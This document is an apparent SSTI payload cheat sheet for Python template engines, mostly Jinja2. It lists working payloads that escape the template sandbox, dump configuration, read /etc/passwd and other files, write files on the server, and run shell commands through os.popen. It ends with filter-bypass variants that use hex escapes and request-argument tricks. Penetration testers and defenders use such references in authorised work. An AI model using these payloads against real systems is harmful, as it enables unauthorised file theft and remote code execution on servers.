python
Python
Templating Libraries
| Template Name | Payload Format |
|---|---|
| Bottle | {{ }} |
| Chameleon | ${ } |
| Cheetah | ${ } |
| Django | {{ }} |
| Jinja2 | {{ }} |
| Mako | ${ } |
| Pystache | {{ }} |
| Tornado | {{ }} |
Jinja2
Jinja is a web template engine for the Python programming language. It was created by Armin Ronacher and is licensed under a BSD License. Jinja is similar to the Django template engine, but provides Python-like expressions while ensuring that the templates are evaluated in a sandbox.
Basic Injection
{{4*4}}[[5*5]]
{{7*'7'}} # would result in 7777777
{{config.items()}}
Debug Statement
If the Debug Extension is enabled, a {% debug %} tag will be available to dump the current context as well as the available filters and tests. This is useful to see what’s available to use in the template without setting up a debugger.
<pre>{% debug %}</pre>
Dump All Used Classes
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
Access __globals__ and __builtins__:
{{ self.__init__.__globals__.__builtins__ }}
Dump All Config Variables
{% for key, value in config.iteritems() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
Read Remote File
## ''.__class__.__mro__[2].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
## https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
Write Into Remote File
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
Remote Code Execution
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
But when __builtins__ is filtered, the following payloads are context-free, and do not require anything, except being in a jinja2 Template object:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
Shorter Payloads by @podalirius_:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
With objectwalker we can find a path to the os module from lipsum. This is the shortest payload known to achieve RCE in a Jinja2 template:
{{ lipsum.__globals__["os"].popen('id').read() }}
Filter Bypass
request.__class__
request["__class__"]
Bypassing _:
http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
Bypassing [ and ]
http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
or
http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
Bypassing |join
http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by @SecGus:
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
More filter bypasses are available here: https://onsecurity.io/article/server-side-template-injection-with-jinja2/